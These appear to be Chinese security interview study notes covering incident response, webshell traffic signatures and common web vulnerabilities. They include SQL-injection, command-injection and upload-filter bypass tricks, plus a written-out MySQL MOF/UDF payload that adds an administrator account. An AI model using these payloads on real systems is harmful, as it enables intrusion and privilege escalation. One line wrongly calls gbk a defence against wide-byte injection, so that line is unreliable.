struts2原理特征
原理:默認的content-type解析器會把用戶傳來的數據直接當成代碼執行,造成rce特征:ognl表達式,memberaccess字段,可以通過catalina日志過濾關鍵信息查找攻擊特征ongl表達式可以被當作代碼執行,其中的類為defaultactionmapper支持的redirecraction方法特征同上
Java反序列化的特征
一段數據以 rO0AB 開頭,你基本可以確定這串就是 JAVA 序列化 base64 加密的數據。
或者如果以 aced 開頭,那么他就是這一段 java 序列化的 16 進制。
如何反制CS?
反制Server,爆破密碼:針對后門沒有采用隱匿C2地址的技術導致的反制(后門樣本被溯源到C2地址,可以使用火絨劍等軟件對紅隊IP進行溯源)偽造流量批量上線(欺騙防御,無法反制,但是會讓紅隊摸不著頭腦)CS漏洞CVE-2022-39197(基本通殺,CS版本<=4.7 XSS)
溯源反制
回答:蜜罐;xss盲打;蟻劍rce;cs端口爆破口令;有web可以進行反打。
EDR如何繞過
回答:改協議繞過;污染數據;ddos通過hook協議并發提交
工具流量特征
冰蝎2.0 強特征是accept里面有個q=.2
冰蝎3.0 Content-Type: application/octet-stream
冰蝎4.0 referer頭(js文件);UA頭(隨機);Accept: application/json, text/javascript, /; g=0.01;在建立連接時,可能會導致49000左右的端口號開啟
蟻劍 是ua有answord 蟻劍的加密特征是以 "0x.....="開頭
哥斯拉 pass字段
菜刀 流量存在一些特征字 eval base64
AWVS 主要是看請求包中是否含有acunetix wvs 字段
Nessus nessus字段
OWAPTop10
SQL注入
失效的身份認證和會話管理
跨站腳本攻擊XSS
直接引用不安全的對象
安全配置錯誤
敏感信息泄露
缺少功能級的訪問控制
跨站請求偽造CSRF
使用含有已知漏洞的組件
未驗證的重定向和轉發
shiro550和721的區別
721是需要有效的登錄才可以 550不用登錄就可以直接跑key
log4j-Rce原理
log4j是一款通用日志記錄工具,log4j有個lookup接口通過JNDI注入觸發日志,在{}里面調用jndi服務反彈shell到指定的服務器,除了jndi還可以調用rmi;還有一點就是,log4j設置的日志等級,在觸發lookup方法前,會對設置的level等級做驗證
fastjson原理
漏洞處理json對象的時候沒有對@type字段進行過濾,導致可以加載惡意類從而進行攻擊。
應急思路:
首先通過安全設備攔截攻擊包體和日志分析,了解攻擊者具體進行了什么樣的攻擊,通過黑白結合模擬方法進一步判斷攻擊者的攻擊方式。復現之后對漏洞進行修復,對攻擊者進行溯源。
首先查看安全設備上報警的事件,看看具體報文,具體日志,判斷攻擊類型,攻擊方式什么的,例如上次護vv的時候,通過深信服的態勢感知設備,攔截了一個文件上傳,查看包體是一個文件名應該是123.php的,類型是img圖片格式,內容是123456,判斷應該是一個黑客的測試文件,查看日志,發現這是第一次上傳,首先封鎖ip,然后自己復現一遍并修復漏洞,
Windows應急流程:
第一步:檢查系統賬號安全(查看服務器是否有弱口令,Netstat查看網絡連接對應的進程,再通過tasklist進行進程定位)->
第二步:查看系統登錄日志,篩查4776、4624(登錄成功)事件進行分析->
第三步:使用命令lusrmgr.msc查看服務器是否存在可疑賬號、新增賬戶->
第四步:使用compmgmt.msc查看本地用戶組有沒有隱藏賬戶->
第五步:導出日志利用Log Parser查看管理員登錄時間、用戶是否存在異常->
第六步:運行taskschd.msc排查有無可疑的計劃任務->
第七步:輸入%UserProfile%\Recent分析最近打開過的可疑文件->
第八步:分析中間件日志,如tomcat的logs文件夾localhost_access_log日志文件Appace的access.log日志文件。
Linux應急流程:
第一步:分析安全日志 /var/log/secure查看是否有IP爆破成功->
第二步:查看/etc/passwd分析是否存在攻擊者創建的惡意用戶->
第三步:查看命令執行記錄 ~/.bash_history分析近期是否有賬戶執行過惡意操作系統命令->
第四步:分析/var/spool/mail/root Root郵箱,當日志被刪除可查詢本文件->
第五步:分析中間件、Web日志,如access_log文件->
第六步:調用命令last/lastb翻閱登錄日志->
第七步:分析/var/log/cron文件查看歷史計劃任務,
第八步->分析history日志分析操作命令記錄->
最后一步:分析redis、sql server、mysql、oracle等日志文件
Web日志分析應急流程:
第一步:找到WebShell,分析文件內容中的惡意函數、Web日志中的webshell特征、Web日志中的webshell特征、每天新增的動態腳本文件低頻訪問的腳本文件->
第二步:確定攻擊者IP,
第三步:回溯攻擊者操作->
第四步:梳理攻擊過程
內存馬如何排查:
如果發現了一些內存webshell的痕跡,需要有一個排查的思路來進行跟蹤和分析,也是根據各類型的原理列出一個排查思路——
1、如果是jsp注入,日志中排查可以jsp的訪問請求。
2、如果是代碼執行漏洞,排查中間件的error.log,查看是否有可疑的報錯,判斷注入時間和方法。
3、根據業務使用的組件排查可能存在的java代碼執行漏洞,spring的controller類型的話根據上報webshell的url查找日志,filter或者listener類型,可能會有較多的404但是帶有參數的請求。
如何分析報文
根據數據包利用平臺或者wireshark分析攻擊payload是哪種攻擊 攻擊的路徑或者接口在哪
進程排查思路(火絨劍都可查看到)
沒有簽名驗證信息的進程
沒有描述信息的進程
進程的啟動用戶
進程的路徑是否合法
CPU或內存資源占用長時間過高的進程
命令執行
PHP命令執行函數
System()、exec()、shell_exec、passthru()、pcntl_exec()、popen()、proc_open()以及反引號等函數執行系統命令。systemshell_execpassthruexecpopenproc_openputenvassert| 直接執行后面的語句 || 前面為假執行后面的語句。如:ping 2 || whoami& 可真可假 && 前面只能為真
PHP代碼執行的危險函數
call_user_func()call_user_func_array()create_function()array_map()
命令執行常見繞過思路:
空格過濾繞過:$IFS、<>、%09(要求php環境)
管道符繞過:分號; & &&
消除后綴:%20%23
黑名單繞過:字符拼接、單雙引號、反斜杠、通配符
cat命令繞過:more、less、head、tac、tail、nl、od、vi、vim、sort、uniq、file-f、grep
文件包含常用協議:
php://filter
data協議
php://input
file=phar://協議
Sql注入
產生原因:
參數用戶可以控制,并且能帶入數據庫查詢。
種類:
報錯、盲注、聯合注入、堆疊注入、寬字節注入、二次注入等。
防護:
使用安全的API
過濾危險字符
使用預編譯語句,使用PDO預編譯語句時,采用占位符進行數據庫的增刪改查。
報錯注入函數:
Updatexml()、extractvalue()、polygon()、floor()、exp()、GeometryCollection()、multipoint()、multilinestring()、multipolygon()、linestring()
寬字節產生的原因:
PHP發送請求到MySql時使用了語句
SET NAMES 'gbk' 或是SET character_set_client =gbk 進行了一次編碼,但是又由于一些不經意的字符集轉換導致了寬字節注入。
通過添加%df吃掉%5c繞過magic_quotes_gpc。
解決辦法:
統一數據庫、Web應用、操作系統所使用的字符集,避免解析產生差異,最好都設置為UTF-8。或對數據進行正確的轉義,如mysql_real_escape_string+mysql_set_charset的使用。
mysql的網站注入,5.0以上和5.0以下有什么區別?
5.0以下沒有information_schema這個系統表,不能查表名,只能暴力跑表。
5.0以下是多用戶單操作,5.0以上是多用戶多操做。
寬字節注入防御,將mysql設置為gbk即可
SQL注入繞過方法:
通用繞過
大小寫繞過、雙關鍵字繞過、編碼繞過、內聯注釋繞過,等價函數繞過
常見替換:
空格繞過
兩個空格替代一個空格,tap代替空格,%a0代替空格,括號繞過空格,/* */
注釋繞過空格,浮點數繞過空格
引號繞過
0x十六進制編碼后的字符繞過
逗號繞過
substr()和mid()這兩個子句方法可以使用from to,join,like繞過,對于limit子句可以使用offset來繞過
比較符號(<>)繞過
使用greatest()、least():(前者返回最大值,后者返回最小值) 繞過
or and xor not繞過
and=&& or=|| xor=| not=!
繞過注釋符號
(#,--(后面跟一個空格))過濾
=繞過,
使用like 、rlike 、regexp
繞過union,select,where等
大小寫,注釋符,內聯注釋繞過, 雙關鍵字繞過
等價函數繞過
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
CSRF
跨站請求偽造,通過偽裝來自受信任用戶的請求來利用受信任的網站。防護:添加token驗證請求的referer
token安全等級更高,因為并不是任何服務器都可以取得referer,如果從HTTPS跳到HTTP,也不會發送referer。并且FLASH一些版本中可以自定義referer。但是token的話,要保證其足夠隨機且不可泄露。(不可預測性原則)
SSRF
服務器請求偽造。由攻擊者構造請求,有服務端發起請求的安全漏洞。修復:限制請求的端口只能為Web端口,HTTP和HTTPS協議。限制不能訪問內網ip.屏蔽返回詳細信息。
文件上傳
成因:由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致用戶可以越過其本身權限向服務器上傳可執行的動態腳本文件
常例:
1. 未過濾、本地過濾。 抓包,該包。
2. 黑名單。 ASP(cdx、asa、cer) php (ph3\4\5)
3. 文件頭、content-type GIF89a image/ipg 圖片馬
4. 條件競爭 (先上傳后刪除)
5. %00截斷 (post時改Hex 00) %00相當于空
6. Windows特性 NTFS php.自動去掉.
文件上傳常見繞過思路:
.htaccess或者.user.ini文件、MiME繞過、%00截斷、php大小寫、php3、php4、phtml、空格繞過、pht、phps、條件競爭繞過
XSS
反射型XSS
用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功,攻擊方式往往具有一次性。
存儲型XSS
存儲型XSS會把用戶輸入的數據“存儲”在服務器端。這種XSS具有很強的穩定性。
DOM型XSS
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
DOM型XSS只有HTML代碼,并不存在服務器代碼,所以此程序并沒有與服務器交互。
XSS修復建議:
過濾輸入的數據,包括“ ‘ ” ,“ “ ”,“ < ” ,“ > ”,“ on* ”等非法字符。
對輸出到頁面的數據進行相應的編碼轉換,包括HTML實體化編碼、JavaScript編碼等。
XSS蠕蟲:
正常情況下,一個是產生XSS點的頁面不屬于self頁面,用戶之間產生交互行為的頁面,都可能造成XSS Worm的產生。
不一定需要存儲型XSS
解析漏洞:
IIS6.0 后綴解析 /xx.asp;.jpg /xx.asp/xx.jpg
/xx.asp;.jpg /xx.asp/xx.jpg
默認解析 xx.asa xx.cer xx.cdx
Windows iis .net 短文件 猜解前6位以及后綴前三位
IIS 7.0-7.5 / Nginx <=0.8.37
Fast-cgi 開啟狀態下,在文件路徑后加上/xx.php則xx.jpg/xx.php會被解析為php文件
Apache 從右往左判斷后綴 test.php.x1.x2.x3
Htaccess 當Allow Override被啟用時,上傳啟用解析規則·的.htaccess
AddType application/x-http-php.jpg
Apache 2.4 %0A繞過 修改Hex 0A ? 之后訪問/1.php%0A即可。
lighttpd
xx.jpg/xx.php
IIS 6.0—— /xx.asp/xx.jpgIIS 7.0—— 默認Fast-cgi開啟,直接在圖片地址后面輸入/.php就會將圖片當做php解析Nginx——版本小于0.8.37 利用方法和IIS7.0一樣Apache—— 上傳文件名為test.php.x1.x2.x3, Apache是從右往左判斷Lighttpd—— XX.jpg/xx.php
常見的中間件漏洞
IIS PUT漏洞、短文件名猜解、遠程代碼執行、解析漏洞
Apache 解析漏洞、目錄遍歷
Nginx 文件解析、目錄遍歷、CRLF注入、目錄穿越
Tomcat 遠程代碼執行、war后門文件部署
JBoss 反序列化漏洞、war后門文件部署
WebLogic 反序列化漏洞
SSRF 任意文件上傳
war 后門文件部署
Apache Shiro 反序列化漏洞
Shiro rememberMe(Shiro-550)
Shiro Padding Oracle Attack(Shiro-721)
redis非授權訪問
redis綁定在0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源ip訪問相關安全策略,直接暴露在公網。
危害:
攻擊者無需認證訪問到內部數據。如果redis以root身份運行,黑客可以給root賬號寫入ssh公鑰文件直接通過ssh登錄服務器。生成rsa空秘鑰 ->公鑰、私鑰->上傳公鑰->利用私鑰連接
TCP/IP
TCP三次握手的過程以及對應的狀態轉換:客戶端向服務器端發送一個SYN包,包含客戶端使用的端口號和初始序列號x;服務器端收到客戶端發送來的SYN包后,向客戶端發送一個SYN和ACK都置位的TCP報文,包含確認號xx1和服務器端的初始序列號y;客戶端收到服務器端返回的SYNSACK報文后,向服務器端返回一個確認號為yy1、序號為xx1的ACK報文,一個標準的TCP連接完成。TCP和UDP協議區別:tcp面向連接,udp面向報文 tcp對系統資源的要求多 udp結構簡單 tcp保證數據完整性和順序,udp不保證
OSI七層模型
物理層、數據鏈路層、網絡層、傳輸層、會話層、表示層、應用層。
MySQL寫WebShell有幾種方式:
union select 后寫入、利用分隔符寫入類似于SQLMAP的 --os-shell命令、Mysql log寫入(有讀寫的權限,root權限,gpc關閉、絕對路徑)
mysql兩種提權方式
Mysql_UDF提權
UDF提權(利用了root 高權限,創建有cmd函數的udf.dll動態庫,導出 那個文件后,就可以框輸入 cmd,mof(系統會創建一個臨時文件,創建的時候用的是system,把cmd命令放在mof上執行)
要求:
目標系統是Windows(Win2000,XP,Win2003);
擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數
有root賬號密碼 導出udf: MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數 可以再mysql里輸入select @@basedirshow variables like ‘%plugins%’ 尋找mysql安裝路徑
提權:
使用SQL語句創建功能函數。語法:Create Function 函數名(函數名只能為下面列表中的其中之一)returns string soname ‘導出的DLL路徑’;
create function cmdshell returns string soname ‘udf.dll’select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄即可。
Mysql mof提權
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};
instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";};
instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};
其中的第18行的命令,上傳前請自己更改。
2、執行load_file及into dumpfile把文件導出到正確的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
執行成功后,即可添加一個普通用戶,然后你可以更改命令,再上傳導出執行把用戶提升到管理員權限,然后3389連接之就ok了
Windows常用的提權方法
系統內核溢出漏洞提權
數據庫提權
錯誤的系統配置提權
組策略首選項提權
WEB中間件漏洞提權
DLL劫持提權
濫用高危權限令牌提權
第三方軟件/服務提權等
Linux提權有哪些方法
Linux內核漏洞提權低權限用戶目錄下可被Root權限用戶調用的腳本提權(SUID)環境變量劫持高權限程序提權sudo配置文件錯誤提權
正向SHELL和反向SHELL的區別
正向shell,攻擊者連接被攻擊者機器
反向shell,被攻擊者主動連接攻擊者
正向代理,客戶端代理,服務器不知道實際發起請求的客戶端
反向代理,服務器代理,客戶端不知道實際提供服務的服務端
常見端口
| 端口/服務 | 22 SSH | 23 telnet |
| ------------- | ----------- | -------------------- |
| 25 smtp | 53 DNS | 80/443/8080 web |
| 110 POP3 | 123 NTP | 137/139 samba |
| 143 imap | 152 loracle | 389 Idap |
| 443 Https | 445 SMB | 873 rsync |
| 1098 JAVARMI | 1433 mssql | 1521 oracle |
| 3306 mysql | 3389 RDP | 5422/5432 postgreSQL |
| 5900 vnc | 6379 redis | 7001 WebLogic |
| mongoDB 27017 | 67/68 dhcp | 21/69 ftp/tftp |
內網黃金票據跟白銀票據區別和利用方式:
白銀票據,只能訪問指定的目標機器中指定的服務,而黃金票據是針對所有機器的所有服務,可以訪問所有服務。
制作黃金票據的前提條件:
域名稱、域的 SID 3、域的 KRBTGT 賬戶的密碼 hash 值、偽造的用戶名,可以是任意用戶甚至是不存在的用戶黃金票據攻擊,其實是一種后門的形式,屬于第二次進行攻擊的方法,第一次拿到域管權限之后,需要將krbtgt hash進行保存,當第二次再來進行滲透攻擊時,我們就可以使用krbtgt hash制作黃金票據,從而獲得管理員權限。
偽造白銀票據的前提條件:
域名稱、域的 SID 、域的服務賬號的密碼 hash 、偽造的用戶名(可以是任意的)
IDS和IPS區別
IDS類(入侵檢測系統(IDS: Intrusion Detection Systems))
此類產品基本上以旁路為主,特點是不阻斷任何網絡訪問,主要以提供對網絡和系統運行狀況的監控和報告為主,少量的類似產品還提供TCP阻斷等功能,但少有使用。
IPS類(入侵防御系統(IPS: Intrusion Prevention System))
基本上以在線模式為主,解決了IDS無法阻斷入侵的問題, 不僅可以檢測到入侵還可以對入侵進行攔截,其工作原理類似防病毒系統定義N種已知的攻擊模式,然后通過模式匹配去阻斷非法訪問一樣。
區別
IDS相當于監控,當發現異常行為時發出警告;
IPS相當于大廈的保安,不僅可以檢測到入侵還可以對入侵進行攔截。
防火墻是網絡層面的防護,**IDS和IPS主要防護應用層。**
防火墻是網絡邊界控制設備,主要通過策略實現對網絡的訪問控制。
IDS無法防護加密的數據流,且對于UDP協議會話誤報較高。
Windows系統日志:事件查看器
Windows系統日志都是在“事件查看器”下面的。
具體步驟如下:
我的電腦 - 右鍵單擊 - 管理 - 計算機管理 - 系統工具 - 事件查看器 - Windows日志;
Linux系統日志:/var/log
Linux系統日志都是放在“/var/log”下面的,下面給大家簡單介紹一下各個日志文件:
/var/log/messages — 包括整體系統信息,其中也包含系統啟動期間的日志。此外,mail,cron,daemon,kern和auth等內容也記錄在var/log/messages日志中。
/var/log/dmesg — 包含內核緩沖信息(kernel ring buffer)。在系統啟動時,會在屏幕上顯示許多與硬件有關的信息。可以用dmesg查看它們。
/var/log/auth.log — 包含系統授權信息,包括用戶登錄和使用的權限機制等。
/var/log/boot.log — 包含系統啟動時的日志。
/var/log/daemon.log — 包含各種系統后臺守護進程日志信息。
/var/log/dpkg.log – 包括安裝或dpkg命令清除軟件包的日志。
/var/log/kern.log – 包含內核產生的日志,有助于在定制內核時解決問題。
/var/log/lastlog — 記錄所有用戶的最近信息。這不是一個ASCII文件,因此需要用lastlog命令查看內容。
/var/log/maillog /var/log/mail.log — 包含來著系統運行電子郵件服務器的日志信息。例如,sendmail日志信息就全部送到這個文件中。
/var/log/user.log — 記錄所有等級用戶信息的日志。
/var/log/Xorg.x.log — 來自X的日志信息。
/var/log/alternatives.log – 更新替代信息都記錄在這個文件中。
/var/log/btmp – 記錄所有失敗登錄信息。使用last命令可以查看btmp文件。例如,”last -f /var/log/btmp | more“。
/var/log/cups — 涉及所有打印信息的日志。
/var/log/anaconda.log — 在安裝Linux時,所有安裝信息都儲存在這個文件中。
/var/log/yum.log — 包含使用yum安裝的軟件包信息。
/var/log/cron — 每當cron進程開始一個工作時,就會將相關信息記錄在這個文件中。
/var/log/secure — 包含驗證和授權方面信息。例如,sshd會將所有信息記錄(其中包括失敗登錄)在這里。
/var/log/wtmp或/var/log/utmp — 包含登錄信息。使用wtmp可以找出誰正在登陸進入系統,誰使用命令顯示這個文件或信息等。
/var/log/faillog – 包含用戶登錄失敗信息。此外,錯誤登錄命令也會記錄在本文件中。
注意:以上這些日志文件或許有的沒有,甚至日志表現的形式可能略有不同,這都沒什么關系,得要的是我們要先明白原理。